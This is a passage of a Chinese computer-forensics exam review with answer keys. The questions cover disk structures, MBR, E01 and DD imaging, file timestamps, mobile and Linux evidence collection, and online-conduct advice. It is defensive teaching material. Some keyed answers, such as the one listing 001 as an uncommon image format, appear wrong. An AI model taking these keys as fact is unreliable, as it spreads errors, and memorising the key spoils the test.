C. 该软件能够对 FAT 和 NTFS 分区中的⽂件删除、格式化分区进⾏数据恢复。

第7/35⻚

D. 它主要是对数据进⾏硬件恢复。

答案：D

以下不属于电⼦证据特点的是（）

A. 电⼦证据的脆弱性

B. 电⼦证据的隐蔽性

C. 电⼦证据的不可挽救性

D.电⼦证据对系统的依赖性

答案：C

以下不属于计算机取证过程中分析过程的是（）

A. 协议分析

B. 镜像技术

C. 数据挖掘

D. 过程还原

答案：B

以下属于计算机取证技术的发展趋势的是（）

A. 动态取证技术

B. 计算机取证挖掘算法和柔性挖掘技术

C. 取证⼯具和过程的标准化

D. 以上都是

答案：D

下⾯有关 MBR 分区的描述，不正确的是（）

A MBR 的最前⾯ 446 字节为主引导记录，安装引导加载程

B 主引导记录后⾯是 128 字节 EBR 信息

C 主引导记录后⾯是 64 字节主分区表，MBR 只能有 4 个主分区，或者 3

个主分区，⼀个扩展分区

D MBR 分区的最后是 2 字节 55AA 结束标志，它是磁盘的有效标志，如果缺失，会导致系统⽆限次重启

答案：B

第8/35⻚

以下关于硬盘的逻辑结构说法不正确的是（）

A. 每个盘⽚有两个⾯，这两个⾯都是⽤来存储数据的。

B. 随着读写磁头沿着盘⽚半径⽅向上下移动，每个盘⽚被划分成若⼲个同

⼼圆磁道。

C. 磁道被划分成若⼲个段，每个段称为⼀个扇区。扇区的编号是按

0,1，……顺序进⾏的。

D. 硬盘柱⾯、磁道、扇区的划分表⾯上是看不到任何痕迹的。

答案：C

以下不属于⽂件系统的是（）。

A. LINUX

B.NTFS

C. FAT32

D.EXT2

答案：A

以下不属于数据分析技术的是（）。

A. 对已删除⽂件的恢复、重建技术

B. 关键字搜索技术

C. ⽇志分析

D. 特殊类型⽂件分析

答案：A

提取磁盘/分区镜像时，以下做法不妥的是（）

A.在该磁盘/分区读写过程中提取

B.对⽬标磁盘/分区卸载或挂载为只读

C.使⽤ dd 提取镜像的时候遇到读取错误时，忽略该错误⽽不停⽌拷⻉⾏为

D.为防⽌本地空间不够，可以使⽤ netcat 远程提取镜像

答案：A

在⼤多数⿊客案件中，嗅探⼯具常被⽤来捕捉通过⽹络的流量以重建诸如上⽹和访问⽹

第9/35⻚

络⽂件等功能，以下（）是这类⼯具。

A. FTK

B. sniffer pro

C. Quick View Plus

D.NTI-DOC

答案：B

下列哪个选项是⽆法计算哈希值的？

A. 硬盘

B. 分区

C. ⽂件

D. ⽂件夹

答案：D

下列⽂件系统中，哪个是 Windows 7 系统不⽀持的？

A. exFat

B. NTFS

C. HFS

D. FAT32

答案：C

下列有关⽂件的各类时间属性，操作系统是⼀定不记录的？

A. 创建时间

B. 修改时间

C. 访问时间

D. 删除时间

答案：D

下列哪种不是常⻅的司法取证中的硬盘镜像格式？

A. Gho

B. AFF

C. S01

D. 001

答案：D

第10/35⻚

NetworkMiner 嗅探抓取的信息不包括以下哪项（ ）。

A. IP 地址

B. DNS 解析

C. 系统 C 盘⽂件列表

D. Mac 地址

答案：C

UNIX 下误删除⽂件恢复⼯具不包括（）。

A.Toolkit

B.extundelete

C.debugfs

D.lsof

答案：A

下列属于 Windows 7 系统中虚拟内存对应的⽂件是？（）

A. hiberfil.sys

B. pagefile.sys

C. virtualmem.sys

D. config.sys

答案：B

下⾯哪种类型的数据不属于易失性数据？（）

A. 内存

B. 未分配簇

C. 运⾏的服务

D. 未打开的图⽚

答案：D

计算机对硬盘的读写基本单位、数据存储和磁盘管理的最基本单位分别是__。

A.扇区 簇

B.簇 扇区

C.扇区 柱⾯

D.簇 磁道

第11/35⻚

答案：A

（）是 Windows 系统存储关于计算机配置信息的数据库，是 Windows 操

作系统的核⼼。

A.⽇志

B.注册表

C.系统⽬录

D.系统进程

答案：B

有关⽊⻢取证的描述，错误的是（）

A.⽊⻢取证的⽬的是找出⽊⻢的全部功能、追踪⽊⻢的作者、⽊⻢的使⽤

者

B.可以通过⽂件扩展名、摘要、作者名、软件注册码判断数据来⾃某⼀个

软件及其作者

和产⽣时间

C.⽊⻢⼀般通过把⾃⼰注⼊某些常⽤进程达到隐藏的⽬的

D.驱动级⽊⻢在正常模式下对于注册表的改动⽆法观测到，但⽊⻢释放⽂

件可以观测到

答案：D

Linux 下误删除⽂件恢复⼯具不包括（）

A.Toolkit

B.extundelete

C.debugfs

D.lsof

答案：A

对于电⼦证物的处理，（）操作是错误的。

A.⼿机运送过程中尽可能屏蔽⼿机信号

B.不要随便给电脑进⾏开机和关机操作

C.要记录线缆以及线缆和主机的连线⽅式

D.电⼦证物只要注意防潮防震就⾏了

第12/35⻚

答案：D

E01 的块数据校验采⽤（）

A.CRC 算法

B.MD5 算法

C.SHA-1 算法

D.⼆进制反码运算

答案：A

NetworkMiner 嗅探抓取的信息不包括 。

A.IP 地址

B.DNS 解析

C.系统 C 盘⽂件列表

D.Mac 地址

答案：C

在⼿机取证时，SIM 卡是重要的证据来源。SIM 卡能够存储的数据不包括__。

A.SIM 卡⽣产⼚商写⼊的原始数据，包括⽤户识别码、认证算法、加密算法等

B.⽤户⾃已存⼊的数据，如短消息、话费记录、性能参数等

C.⽤户⽤卡过程⾃动存⼊的⽹络接续和⽤户信息数据，如最近⼀次位置登记时⼿机所在位置识别号

D.⼿机中的应⽤程序

答案：D

判断

Big5 是繁体字的⼀种编码格式

答案：对

CRC 校验算法是字节顺序敏感的

答案：对

E01 证据⽂件只能被 EnCase 取证软件所⽀持

第13/35⻚

答案：错

FAT32 ⽂件系统向下兼容 NTFS ⽂件系统

答案：错

IDE 接⼝ 硬盘可以⽀持热插拔

答案：错

MBR 扇区通常最后两个字节⼗六进制值为 0x55AA

答案：对

RAID5 磁盘阵列需要⾄少三块硬盘

答案：对

Shift+Del 删除的⽂件是不可以恢复的

答案：错

Windows Server 2008 的关机时要通过正常⽅式关机

答案：对

磁盘是计算机的重要外设, 没有磁盘, 计算计就不能运⾏。

答案：错

格式化操作不会破坏磁盘的信息。

答案：错

计算机证据的分析主要分为对主机数据的分析和对⽹络数据的分析。

答案：对

计算机证据的鉴定， 就是针对收集和保全的计算机数据进⾏可信性的证

明。

答案：对

电⼦证据是指法庭上可能成为证据的以⼆进制形式存储或传送的信息。

答案：对

第14/35⻚

未分配空间⼀般没有什么内容， 对取证分析意义不⼤

答案：错

⽂本样式的编码设置得不合理会导致查看的⽂本为乱码

答案：对

⽂件逻辑⼤⼩可以⼤于其物理⼤⼩

答案：错

相同⽂件系统下单个扇区容量会⽐簇的容量⼤

答案：错

对于误删除，错误格式化，硬盘主引导记录、分区表或⽬录分配表损坏但

⼜没有⽤其他

数据覆盖这些形式的数据，恢复⼀般都有效。

答案：对

数据库系统、⽹络服务器、防⽕墙都提供了⽇志功能。

答案：对

恶意代码是⼀种程序，它通过把代码在不被察觉的情况下镶嵌到另⼀段程

序中，从⽽达

到破坏被感染电脑数据。计算机病毒、特洛伊⽊⻢、计算机蠕⾍等都属于

恶意代码。

答案：对

证物的完整性验证和和数字时间戳都是通过计算哈希值来实现的。

答案：对

在进⾏现场勘查的过程中，如果操作系统正在批量下载信息或杀毒，我们不应该⽴即终⽌这些操作。

答案：错

在提取易失性信息的过程中可以使⽤⽬标系统上的程序实施提取。

第15/35⻚

答案：错

计算机证物应存储在正常室温的环境下，避免遭受湿⽓、磁⼒、灰尘、烟雾、⽔及油的影响。

答案：对

在 linux 系统中可以使⽤ kill 命令杀死某个进程。

答案：对

Linux 中的⽇志等级 none 表示不记录任何信息

答案：对

⼿机取证时⼀般将⼿机调成⻜信模式再进⾏取证。

答案：对

计算机仿真取证技术可以很⼤程度上弥补传统静态取证证据获取能⼒的不

⾜。

答案：错

开机状态下 Windows 的⽤户密码信息是以明⽂形式保存在注册表中的。

答案：错

现场勘验时可以通过 PE ⼯具直接清除 windows 密码后进⾏开机取证。

答案：错

对⼿机取证时应保证待检测⼿机的数据、信号畅通，以便及时接受到最新

的证据。

答案：错

iPhone ⼿机微信中获取的语⾳⽂件属于证据形式中的声像资料，⽽不是

电⼦数据。

答案：错

在进⾏硬盘克隆（对位复制）前必须对⽬标盘进⾏擦除。

第16/35⻚

答案：对

Aff 与 E01 格式⽀持镜像压缩，可根据实际需求选择压缩⽐，减少⽂件占⽤的空间与镜像制作的时间。

答案：对

Linux 系统主要⽇志有应⽤程序⽇志、系统⽇志和安全⽇志。

答案：错

计算机取证只能由调查⼈员对原始存储介质进⾏备份，同时，备份过程应由嫌疑⼈、被害⼈或在场⼈共同确认，以免⽇后对证据的可采性滋⽣争议。

答案：错

在电⼦证据取证过程中，为了保全证据通常使⽤数字签名和数字时间戳技术。其中数字签名⽤于验证传送对象的完整性以及传送者的身份，时间戳可以证明数字证据在特定的时间和⽇期是存在的，且从该时刻到出庭这段时间不曾被修改过。

答案：对

注册表⼯具 Autoruns 具有全⾯⾃启动程序检测功能，找出那些被在系统启动和登录期间⾃运⾏的程序。

答案：对

计算机证据具有多样性、电⼦性、准确性、脆弱性和挥发性特点。

答案：错

在⼿机取证时，不要随便对⼿机进⾏开机和关机操作，同时应采⽤屏蔽措施阻⽌⼿机与外界通信。

答案：对

第17/35⻚

内存取证⼯具 Volatility 只能⽤于 Windows 平台，它可以从运⾏进程、⽹络套接字、⽹络连接、DLL 和注册表配置单元中提取信息。

答案：错

⼀般情况下，源盘⽣成的 E01 镜像，占⽤的空间⼩于同⼀块盘⽣成的 DD镜像。

答案：错

Linux ⽇志配置⽂件为/etc/rsyslog.conf，它设置了⽇志记录的具体规则和具体位置。

答案：对

⽹络取证中，⽂件的时间属性对于还原事件发⽣的真实次序⾮常重要。⽂件下载时，⽂件创建时间为开始下载时间，⽂件修改时间为下载结束时间

答案：错

多选

E01 ⽂件能够提供的功能有（）

A 压缩功能

B 哈希值功能

C 密码保护功能

D 提供元⽂件信息

答案：A,B, D

有关 E01 ⽂件描述正确的有（）

A 取证分析⼯具 EnCase 的⼀个证据⽂件格式

B 包含⽂件头、校验值和数据块

C 密码保护功能

D 提供元⽂件信息

答案：A,B, D

E01 是取证分析⼯具 EnCase ⽀持的⼀种证据⽂件格式，该⽂件除了包括证据数据外，还包括（）等元数据

第18/35⻚

A 调查⼈员

B 调查地点

C 调查机构

D 备注

答案：A,B,C,D

IE 上⽹记录包括（）

A 缓存记录

B 历史记录

C Cookies 记录

D IE 地址栏记录

答案：A,B,C,D

MBR 中包含的信息有（）

A 卷引导记录

B EBR 信息

C 主分区表

D 55AA 的签名标识

答案：A,C,D

调查取证当中的做法， 错误的有（）

A 在嫌疑⼈硬盘上安装取证软件进⾏取证

B 先打开只读锁电源，再连接硬盘

C 只读锁使⽤完毕后，先取⾛硬盘，再关闭电源

D 现场嫌疑⼈电脑处于开机状态，应当⽴即关机

E 硬盘复制机要接上只读锁再连接嫌疑⼈硬盘

答案：ABCDE

对于电⼦证物的处理那些操作是正确的（）

A ⼿机运送过程中尽可能屏蔽⼿机信号

B 开机状态的计算机要⽴即关机

C 要记录线缆以及线缆和主机的连线⽅式

D 电⼦证物只要注意防潮防震就⾏了

答案：A, C

第19/35⻚

对于取证相关原理的描述， 错误的有（）

A 相同内容的 word ⽂档与 txt ⽂档，其 HASH 值是不⼀样的

B 通过 HASH 值可以反推出源⽂件的内容

C RAID 0 在存储数据时， 同时备份数据

D 硬盘复制机的复制速度可以突破接⼝的理论最⼤速度

E FAT32 ⽀持磁盘配额

答案：A,B,C,D、E

⾼级格式化的作⽤包括（）

A 建⽴扇区

B 为硬盘创建⽂件系统

C 为硬盘划分磁道

D 对扇区进⾏分区内的编号

答案：B,D

关于 RAID 的描述， 正确的有（）

A RAID ⼜称廉价磁盘冗余阵列或独⽴磁盘冗余阵列

B RAID0 中只要⼀个硬盘损坏， 数据将丢失

C RAID1 中只要⼀个硬盘损坏， 数据将丢失

D RAID5 ⾄少要由 3 个磁盘组成

答案：A,B,D

关于 U 盘的描述， 错误的有（）

A U 盘⾥头通过磁头来读写数据

B U 盘⾥头通过盘⽚来存储数据

C U 盘取证不需要连接只读锁

D U 盘在⾼级格式化时被划分成许多磁道

答案：A,B,C,D

关于磁盘分区的说法，错误的是（）

A 磁盘分区后即可被操作系统存放数据

B 通过⾼级格式化来分区

C 通过低级格式化来分区

D Windows 中同⼀个分区中可以存放不同⽂件系统格式的⽂件

第20/35⻚

答案：A,C,D

关于回收站⽂件夹， 说法正确的有（）

A 回收站⽂件夹具有系统属性

B Windows 默认不会给 U 盘创建回收站⽂件夹

C 回收站⽂件夹具有隐藏属性

D 回收站⽂件夹中⽂件被清空， 将不可以恢复

答案：A,B,C

关于回收站⽂件夹的描述， 正确的有（）

A 回收站⽂件夹具有系统属性

B 回收站⽂件夹具有隐藏属性

C 回收站被清空后数据将不可恢复

D 不同的 Windows 系统和不同⽂件系统中， 回收站的名称不⼀定相同

答案：A,B,D

关于快捷⽅式⽂件， 正确的有（）

A 其⽂件扩展名为.lnk

B 快捷⽅式⽂件包含了 它所指向的⽬ 标⽂件名及其完整路径

C 快捷⽅式⽂件包含了 它所指向的⽬ 标⽂件的创建时间、 最后访问时间

和最后修改

时间

D 快捷⽅式⽂件包含了 它所指向的⽬ 标⽂件所存储的卷的卷标信息

答案：A,B,C,D

关于散列算法的描述， 正确的有

A 散列算法即哈希算法

B 散列算法可以⽤于进⾏数据完整性⼀致性校验

C MD5 和 SHA1 是两种不同的散列算法

D 散列值⼀般采⽤⼗六进制

E 散列算法的输⼊到输出是不可逆的

答案：A,B,C,D、E

关于扇区概念的描述， 错误的是（）

第21/35⻚

A 扇区⼤⼩默认为 4096 字节

B 扇区是⽂件系统可寻址的最⼩单位

C 扇区⼤⼩⼀般是 2 的 N 次⽅

D ⽂件都是存放在连续的扇区中

答案：A,B,D

通常 Windows 系统中涉及⽂件的 3 个时间属性，M 代表 Modify，表示最

后修改时间；

A 代表 Access，表示最后访问时间；C 代表 Create，表示创建时间；下

列解释错误的是？（）

A．M 始终要晚于 C

B． M、A、C 在 Linux 系统中也适⽤

C． M、A、C 时间是不能被任何⼯具修改的，因此是可信的

D．⽂件的 M、A、C 时间⼀旦发⽣变化，⽂件的哈希值随之改变

答案：ABC

下列关于对位复制的说法中，不正确的是？ （）

A．为了确保⽬标盘与源盘的⼀致性，⼀定要找到与源盘品牌、型号、容量均⼀致的⽬标盘进⾏复制

B． 为了确保司法取证的有效性，⼀定要验证⽬标盘与源盘哈希值的⼀致性

C． 为了确保⽬标盘与源盘的⼀致性，⽬标盘的硬盘接⼝⼀定要与源盘⼀致

D．当⽬标盘容量⼤于源盘时，⼀定要计算⽬标盘整盘的哈希值，⽤于与源盘的哈希值进⾏⽐对⼀致性

答案：ACD

下列关于现场勘验过操作的说法中，不正确的是？（）

A．DD ⽂件是最常⽤的镜像格式，因为该格式是原始镜像，⽽且⽀持⾼压缩。

B． 为了固定运⾏着的计算机的桌⾯状态，⾸先应该按键盘的 PrtSc 键进⾏截图。

C． 对于关机状态下的计算机进⾏固定时，优先采取对硬盘盘体进⾏开盘操作的⽅式。

D．对于关机状态下⼜⽆法拆卸硬盘的计算机，应该开机直接查看系统⾥的数据。

答案：CD

下列⽂件系统中，哪些是 Windows 的⽂件系统？ （）

A. HFS/HFS+

B. EXT2/3/4

C. NTFS

D. FAT16/32

答案：CD

下列关于对位复制和创建镜像的说法中，错误的是？（）

A．⼀般情况下，对位复制时，⽬标盘容量要等于源盘容量

B． 制作 DD 镜像时，能够将 500G 源盘的完整 DD 镜像⽣成到 500G 的⽬标盘中

C． ⼀般情况下，源盘⽣成的 E01 镜像，占⽤的空间⼩于同⼀块盘⽣成的DD 镜像

D．⽤专⻔的镜像哈希计算⼯具，计算的同⼀块硬盘的 DD 和 E01 镜像哈希值是相同的

答案：CD

下⾯关于⽂件头的说法中，不正确的是？（）

A．各种类型⽂件的⽂件头⻓度不⼀定相同

B． JPG 格式⽂件的⽂件头存在细⼩差异

C． 相⽐⽂件头，⽂件扩展名更可信，因此⽂件扩展名常⽤于判断⽂件类型

D．在 Windows 系统中，修改⽂件扩展名的同时，该⽂件的⽂件头也随之变化

答案：BCD

下列哪些类型是 Windows7 系统中常⻅的⽇志类型？ （）

第23/35⻚

A. Application

B. Security

C. System

D. Local

答案：ABC

⼿机中常⽤的简体中⽂编码格式不包括？（）

A. Big5

B. UTF-16

C. Unicode BE

D. UTF-7

答案：ABCD

下⾯哪些密码破解⽅法可以⽤于 RAR ⽂件？（）

A. 彩虹表破解

B. 暴⼒破解

C. 掩码破解

D. 字典破解

答案：BCD

计算机取证中数据固定的三⼤技术包括（）。

A.只读

B.克隆

C.校验技术

D.数据恢复

答案：ABC

当调查分析跨时区事件时，操作系统和⽂件的时间属性⾮常重要。不同操

作系统或⽂件系统对⽇期、时间有不同的处理⽅法，下⾯有关⽇期时间的

描述，正确的是 （） 。

A.Linux 的时间标签有最后修改时间、最后访问时间和最后状态改变时间

B. windows 的时间标签有创建时间、最后写/修改时间和最后访问时间

C.当复制⽂件时，⽂件的创建时间、最后访问时间会、最后写/修改时间都不会改变

第24/35⻚

D.取证过程中需关闭取证主机上的杀毒软件⾃动扫描功能，因为它会访问被调查的⽂件，并可能改变⽂件的最后访问时间

答案：ABCD

系统⽇志对取证有重要意义， （ ） 是 Windows 系统⽇志能够获取的信息。

A.确定成功登录系统的⽤户

B.确定试图登录系统但没有成功登录的⽤户

C.跟踪审核策略的变更

D.确定访问特定⽂件的⽤户

E.跟踪⽤户权限的变化

答案：ABCDE

计算机证据分析是整个取证过程的核⼼与关键，下⾯有关证据分析的描述，正确的有（）

A.分析过程的开机、关机过程，尽可能地避免正在运⾏的进⾏数据丢失或存在不可逆转的删除程序

B.通过将收集的程序、数据和备份与当前进⾏的程序数据进⾏对⽐，发现篡改痕迹

C.分析过程是基于原始证据的复制件进⾏的，⼀份⽤于取证的备份必须是对原始数据的每⼀⽐特的精确克隆

D.分析之前，⼀定要为被分析的数据⽣成数字指纹

答案：ABCD

计算机证据与传统证据⼀样，计算机证据必须是（）。

A.可信的

B.准确的

C.完整的

D.符合法津法规的

答案：ABCD

第25/35⻚

在取证过程中，可能会遇到各种各样对系统的⼊侵或攻击，常⽤的追踪技术有（）。

A.通过 nslookup、tracert、whois 追踪⼊侵者 IP 地址

B.通过查询 DHCP 服务器地址分配信息进⾏动态 IP 地址跟踪

C.使⽤ arp -a 、ipconfig /all 追踪 MAC 地址

D.通过电⼦邮件头部信息进⾏电⼦邮件追踪

答案：ABCD

下列关于⽂件⼤⼩和⽂件占⽤空间⼤⼩的说法中，不正确的是？（）

A．⽂件⼤⼩和⽂件占⽤空间⼤⼩总是不⼀致的

B． ⽂件占⽤空间⼤⼩总是⼤于⽂件的实际⼤⼩

C． ⽂件⼤⼩总是⽂件占⽤扇区⼤⼩的整数倍

D．⽂件占⽤空间⼤⼩与⽂件实际⼤⼩之间的差额通常被称为⽂件松弛区（Slack）

答案：ABC

下⾯哪些操作系统不属于智能⼿机操作系统？（）

A. Linux

B. Windows 8

C. Mac OS

D. MTK

答案：AD

下⾯哪些⽂件不是 Windows 的注册表⽂件？（）

A. Regedit

B. Sam

C. System

D. Security

答案：BCD

下列关于制作硬盘复制件的说法中，不正确的是？（）

A．降低直接在源盘检验带来的源盘损坏的⻛险。

B． 防⽌误操作等原因造成的硬盘数据篡改。

C． 对于某些传输速率低的硬盘，复制件采⽤⾼速率硬盘能有效提⾼后续取证效率。

D．制作复制件的同时，能够修复部分物理损坏的源盘。

答案：CD

下列⽂件后缀名的说法中，不正确的是？（）

A．⽂件的后缀名显示与否是 Windows 系统中可以设置的。

B． ⽂件的后缀名⼀般来说为 3-4 个位⻓度。

C． 可以通过改变⽂件的后缀名修改⽂件的类型。

D．所有⽂件都有⽂件后缀名。

答案：BC

下列关于安卓⼿机取证说法错误的是 （ ） 。

A.安卓⼿机⼤部分的关键数据都记录在/data/data 区内

B. /data/data 区⽆法随意访问，需要最⾼⽤户权限的授权（root 权限）

C.通过解析备份⽂件也可以完成对 data 区的取证

D.通过⼀些第三⽅软件，可以将 QQ、微信等主流社交软件的聊天记录储存位置指定在

SD 卡

答案：AB

39. 下⾯有关 Linux 的⽤户登录信息，描述正确的有（）

A.lastlog 列出所有⽤户最近登录的⽇志，⽤ lastlog 命令查看

B.btmp 登录失败尝试的登录信息，⽤ lastb 命令查看

C.wtmp 列出当前和曾经登⼊系统的⽤户信息，即正确登录的所有⽤户命令，⽤ last 命令查看

D.utmp 列出正确登录的所有⽤户命令，⽤ last 命令查看

答案：ABC

⼿机取证的电⼦证据来源主要有（）

A.⼿机内存

B.SIM 卡

C.⼿机扩展的闪存卡

D.移动运商

第27/35⻚

答案：ABCD

⼿机取证的发展⽅向有（）

A.继续加强对⼿机取证⼯具、软件和⽅法的研发，改善它们的取证效果，使其符合法庭取证的要求

B.⼿机取证专家与各⼿机⼚商通过交流协作，制定出统⼀的⼿机取证技术标准。

C.⽴法部⻔加强对涉及⼿机犯罪⽅法的⽴法⼯作，从法津法规上不给犯罪分⼦留下空⼦， 切实有效打击⼿机犯罪

D.加强移动运商的监管

答案：ABC

计算机证据与传统证据⼀样，必须是（）

A.可信的

B.准确的

C.完整的，使法官信服的

D.符合法律法规，为法庭所接受的

答案：ABCD

在计算机取证中，当系统遭到⼊侵后，可以以 IP 地址作为追踪⼊侵者的⼊⼝点。追踪⼊侵者 IP 地址常⽤的⽅法有（）

A.nslookup

B.tracert

C.查找 DHCP 服务器地址分配⽇志

D.ipconfig

答案：ABC

在对磁盘数据进⾏取证时，⾸先进⾏磁盘镜像制作。制作磁盘镜像需注意

以下⼏点（）。

A.对⽬标磁盘/分区卸载或挂载为只读

B.使⽤ dd 提取镜像的时候遇到读取错误时，忽略该错误⽽不停⽌拷⻉⾏为

第28/35⻚

C.在该磁盘/分区读写过程中提取

D.为防⽌本地空间不够，可以使⽤ netcat 远程提取镜像

答案：ABD

下⾯有关⼿机取证获取证物的描述，（ ）是正确的。

A.在获取证物的过程，不要随便对⼿机进⾏开机或关机操作

B.在取证现场，准确记录相关数字证据和常规证据，可对现场及证物拍照，记录原始证物的特点和状态

C.因为是数字取证，在现场搜集证物时，不需要对指纹、⽑发等⾮数字证据进⾏收集

D.在把证物带离现场过程中，应采⽤屏蔽措施阻⽌⼿机与外界通信，同时避免物理损坏，防⽌数据被污染

答案：ABD

为了能够⻓期存在于被攻击的系统中，⽊⻢需要把⾃⼰很好隐藏起来，下⾯ （）不 是⽊⻢隐藏的⽅法。

A.Rootkit

B.添加到注册表的 RUN 项

C.添加到其他应⽤程序中

D.添加到系统服务中

答案：BCD

时间是取证的重要数据，保存在硬件或⽂件中的时间可以作为证据确定⾏为和后果。通 常 Windows 系统中涉及⽂件的 3 个时间属性：最后修改时间、最后访问时间和创建时间。下⾯有关⼏个时间的关系描述正确的是

（ ）。

A.修改时间可以早于建⽴时间，如果修改时间早于建⽴时间，表明⽂件可能被复制或移动过

B.在⼀个⽂件夹中，如果⼀些⽂件的修改时间等于创建时间，并且有很近的创建时间或者修改时间，那么这些⽂件有可能是从⽹上批量下载的

C.如果在硬盘上批量的⽂件具有很近的访问时间，这些⽂件极有可能被同⼀个⼯具软件扫描过

D.如果⼀个⽂件的修改时间早于创建时间，表明该⽂件可能是解压后的⽂件

答案：ABCD

android 是⼿机常⽤操作系统，下⾯有关 android ⼿机取证描述正确的是

（ ）。

A.安卓⼿机中 QQ 信息，包括帐号信息、好友信息等都存储在/data/data下

B. SQLite 数据库已经成为 android 系统的标准数据库，⼿机中常⽤到的通讯录管理软件、通话记录、短信应⽤、浏览器历史记录、以及其他即时通讯软件的聊天记录等等，采⽤的存储⽅式都是 SQLite 数据库格式。

C.程序执⾏过程产⽣的临时数据主要存储在静态 RAM 中，打电话最后拨打的号码，暂时存在静态 RAM 中，⼿机正常关机时才会写⼊通话记录中。

D.在⼿机取证时，使⽤取证精灵，在时间、对象和空间上通过对⼀部或多部⼿机数据进⾏逻辑分析，可确定⼿机持有⼈之间的关系，联系频率、通话次数、通话总时⻓等信息。

答案：ABCD

填空

1. 安卓操作系统对于短信和彩信采用SQLite数据库的方式进行存储

2. iphone的三种工作模式 正常模式 恢复模式 DFU模式

3. ios备份文件的种类 1. iCloud备份 2.iTunes备份 3.本地备份 4.第三方应用程序备份

4. 电子数据的三种性质：客观性，关联性，合法性

5. 在 Linux 系统中，有许多常用的命令可以用于执行各种任务。以下是一些常见的 Linux 命令及其作用：

   1. ls：列出目录中的文件和子目录。

   2. cd：改变当前工作目录。

   3. pwd：显示当前工作目录的路径。

   4. mkdir：创建新目录。

   5. rm：删除文件或目录。

   6. cp：复制文件或目录。

   7. mv：移动文件或重命名文件。

   8. touch：创建空文件或更新文件的访问和修改时间戳。

   9. cat：连接文件并打印到标准输出设备上。

   10. grep：在文件中搜索指定模式。

   11. chmod：修改文件或目录的权限。

   12. chown：修改文件或目录的所有者。

   13. ps：显示当前进程的状态。

   14. top：显示系统中运行的进程的动态实时信息。

   15. kill：终止进程。

   16. ifconfig：显示或配置网络接口的信息。

   17. ping：测试与另一台计算机的连接。

   18. ssh：安全连接到远程服务器。

   19. scp：安全地复制文件到远程服务器。

   20. tar：打包或解压文件。

   这些是一些常见的 Linux 命令，覆盖了文件操作、进程管理、网络操作等多个领域。在日常使用 Linux 系统时，熟悉并掌握这些命令可以帮助您更高效地管理系统和执行各种任务。

简答分析题

1. 简述电子取证一般程序和过程

   ①启动阶段：在启动电子数据取证程序时,要根据案件性质和具体情况进行各方面的准备,包括方案设计、法律文书准备、人财物资源配备等内容

   ②现场保护与勘查阶段：主要包括现场保护、现场访问、实地力查、现场分析、现场勘查记录、侦查实验、了解判断犯罪分子的个体特点等内容

   ③电子数据获取与固定阶段：即获取原始电子数据或者直接固定电子数据证据的活动.

   ④电子数据分析与检验阶段：常见的方法有数据搜索技术、数据恢复技术、加密解密技术、文件系统分析技术、日志分析技术、静态分析技术、动态分析技术、实时监控技术、追踪技术、数据挖掘技术等.
   ⑤评估阶段：对实施阶段所做的工作和结果进行评估.以判断实施活动是否成功完成，以及是否需要再次进行数据与固定，分析等活动。

   ⑥证据保管、移交与展示阶段：当涉案电子数据证据经过检验已经固定完毕后，还需要制作相关报告，并将检出的电子数据证据和原始证据介质妥善保管，按照法律程序进行移交。

2. 电子取证的原则

   1. 依法取证原则：任何证据的有效性和可采用行都取决于证据的客观性与案件事实的关联性和取证活动的合法性。
   2. 保护证据完整性原则：取证过程中应保持电子数据的完整性。
   3. 及时取证原则：电子数据证据的获取具有时效性，一旦确定对象后，应尽快提取证据，防止证据变更和丢失。
   4. 证据连续性原则：为了在法庭采用时能证明整个调查过程的合法性，真实性，完整性，在电子数据证据从最初的获取状态到法庭提交状态应保持连续的。

3. 材料题

   1. 现场勘察的时候，发现有处于开机状态的台式机，怎么样去进行数据保存，固定一些容易丢失的数据

   看是哪个操作系统windows 和linux哪行 哪个目录 哪个文件

   1. winxp

   ​ 在现场勘查时，发现有处于开机状态台式机，操作系统winXP，阐述获取此证物从拍照到封存的整个操作过程，并举例列出在固定易丢失数据时应注意的数据形式。答:
   1)拍照记录电脑整体状态，屏幕显示内容，主机接口连接
   2)周边相关配件
   3) 注意易丢失数据，注意加密容器、加密文件、QQ等即时通讯数据的固定 ， 对一些关键数据、关键步骤应使用录像等方式记录，重要的文件计算MD5 值
   4)固定易丢失数据后，直接拔电源断电关机

   5)封条注意电源及输出接口

   2. linux

      在现场勘查时，发现有处于开机状态台式机，操作系统为Linux。为了保护现场，第一要务为获取现场证据，保存数据，尤其是那些容易被改变的数据。试分析如何收集获取屏幕信息，内存信息、硬盘信息、进程信息和网络连接信息。答:

      1. 屏幕信息：最优先的步骤是利用照相设备或录像设备记录屏幕信息，如果没有准备好图像记录设备当系统处于控制台模式时，可以直接利用管道命令将输出的内容保存到文件中。可以用setterm进行截图。
         若系统属于X-Windows环境下，可使用X-Windows下的截图工具、 GNOME软件截图、KDE软件截图
      2. 内存与硬盘信息：通过移动存储设备或者网络将系统存储器的内容记录下来。首先使用fdisk可以查看硬盘情况。然后使用mount将自己的硬盘挂载上去，最后使用dd命令将该信息存储到自己的移动硬盘中。
      3. 进程信息：Linux系统提供了who、w、ps和top等查看进程信息的系统调用，用户可以结合使用这些命令了解进程的运行状态以及存活情况。使用who查看当前登录的用户、w与who相似是who的增强版、ps查看进程，top与ps相似但一个动态显示过程。
         4)网络连接信息：可以使用netstat查看网络连接情况、路由表和网络接口信息。

   3. 邮件交流记录，观察关键信息，发件人收件人，发送时间，内容，哪个系统，进行罗列一下，哪个系统，哪个文件，哪个方式，或者写一些取证工具

   从互联网，相关信息，取证技术这门课中，对于个人信息如何保护，如何文明上网，做守法公民，这门课学到哪些知识

   个人信息保护：

   1. 隐私意识： 学会尊重他人隐私，同时保护自己的个人信息。

   2. 强密码： 使用复杂、独特的密码，并定期更换密码。

   3. 防范网络钓鱼： 谨慎对待来自陌生人的信息和链接，避免泄露个人信息。

   4. 保护设备安全： 安装杀毒软件、防火墙，定期更新操作系统和软件。

   5. 谨慎公开个人信息： 在社交媒体等平台上注意保护个人信息，避免过度分享。

   6. 双重认证： 启用双重认证功能，提高账号安全性。

   文明上网：

   1. 网络言行规范： 尊重他人，避免使用侮辱、攻击性语言，维护网络环境和谐。

   2. 辨别信息真伪： 学会辨别信息的真实性，不轻信谣言和不实信息。

   3. 遵守网络规定： 遵守各网站的规定和协议，不传播违法信息。

   4. 网络礼仪： 注意网络礼仪，避免恶意刷屏、灌水等行为。

   做守法公民：

   1. 遵守法律法规： 遵守国家法律，不参与网络犯罪活动。

   2. 知识产权保护： 尊重他人的知识产权，不侵犯他人的版权、专利等权利。

   3. 举报违法行为： 如发现网络犯罪或违法行为，应及时向相关部门举报。

   4. 自我保护意识： 学会保护自己的合法权益，不轻信网络诈骗信息。

   “取证技术”这门课通常涵盖了以下一些知识点：

